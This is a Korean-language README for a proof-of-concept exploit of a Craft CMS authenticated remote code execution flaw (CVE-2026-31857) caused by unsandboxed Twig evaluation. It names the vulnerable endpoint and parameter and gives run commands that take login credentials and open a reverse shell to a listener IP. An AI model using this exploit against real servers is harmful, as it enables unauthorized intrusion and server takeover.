
CVE-2026-31857에 대한 개념 증명으로, 사용자가 제어하는 Twig 표현식의 안전하지 않은 처리로 인해 발생하는 Craft CMS의 인증된 원격 코드 실행 취약점입니다.
CVE-2026-31857에 대한 개념 증명(Proof of Concept)으로, 사용자가 제어하는 Twig 표현식의 안전하지 않은 처리로 인해 발생하는 Craft CMS의 인증된 원격 코드 실행(Remote Code Execution) 취약점입니다.
승인된 보안 테스트 및 교육 목적으로만 사용하십시오.
CVE-2026-31857은 Craft CMS에 영향을 미치는 인증된 원격 코드 실행 취약점입니다.
이 취약점은 요소 조건 규칙(element condition rules) 처리 과정에 존재합니다. 요소 인덱스 필터링 기능을 통해 제공되는 사용자 제어 데이터가 renderObjectTemplate()에 도달하여 샌드박스가 적용되지 않은 Twig 템플릿으로 평가될 수 있습니다.
따라서 Craft Control Panel에 접근할 수 있는 인증된 사용자는 기반 서버에서 임의 명령 실행을 달성할 수 있습니다.
| Craft CMS | 영향 받는 버전 | 수정 버전 |
|---|---|---|
| 5.x | 5.0.0-RC1 – 5.9.8 | 5.9.9 |
| 4.x | 4.0.0-beta.1 – 4.17.3 | 4.17.4 |
requests필요한 Python 종속성을 설치하십시오:
pip install requests
연결을 수신할 머신에서 리스너를 시작하십시오.
그런 다음 실행하십시오:
python3 exploit.py \
-u https://target.example.com \
-U username \
-P password \
-l 10.10.14.10 \
-p 4444
| 인수 | 설명 |
|---|---|
-u, --url | 대상 Craft CMS URL |
-U, --username | Craft CMS 사용자 이름 |
-P, --password | Craft CMS 비밀번호 |
-l, --lhost | 리스너 IP 주소 |
-p, --lport | 리스너 포트 |
예시:
python3 exploit.py -u http://craft.local -U author -P 'Password123!' -l 10.10.14.5 -p 4444
PoC는 다음 단계를 수행합니다:
elementIds 조건 매개변수 안에 Twig 표현식을 삽입합니다./index.php?p=admin/actions/element-indexes/count-elements
관련 요청 구조는 다음과 같습니다:
JSON body
│
└── filters
│
└── condition[conditionRules][1]
│
└── RelatedToConditionRule
│
└── elementIds
│
└── Twig expression
│
└── command execution
PoC는 Twig의 filter 기능을 사용하여 system 함수를 호출합니다.
높은 수준에서 취약한 흐름은 다음과 같습니다:
Authenticated CP User
│
▼
Element Index Filtering
│
▼
RelatedToConditionRule
│
▼
elementIds
│
▼
renderObjectTemplate()
│
▼
Unsandboxed Twig Evaluation
│
▼
Arbitrary Command Execution
중요한 점은 elementIds가 요소 관련 데이터를 포함할 것으로 예상되지만, 공격자가 제어하는 콘텐츠가 대신 객체 템플릿 렌더링 기능에 도달할 수 있다는 것입니다.
PoC는 명령 실행의 관찰 가능한 결과로 리버스 셸을 사용합니다.
성공적인 HTTP 요청만으로는 RCE가 발생했음을 증명하지 않습니다. 가장 강력한 확인은 리스너에서 결과 연결을 수신하는 것입니다.
또한 PoC는 명령 실행으로 인해 Craft 요청이 정상적으로 완료되지 못할 수 있으므로 짧은 HTTP 타임아웃을 사용합니다.
따라서:
HTTP timeout
≠
guaranteed RCE
이는 이 PoC에서 페이로드가 트리거되었을 수 있다는 표시로만 취급됩니다. 실제 확인은 리스너 연결을 통해 이루어집니다.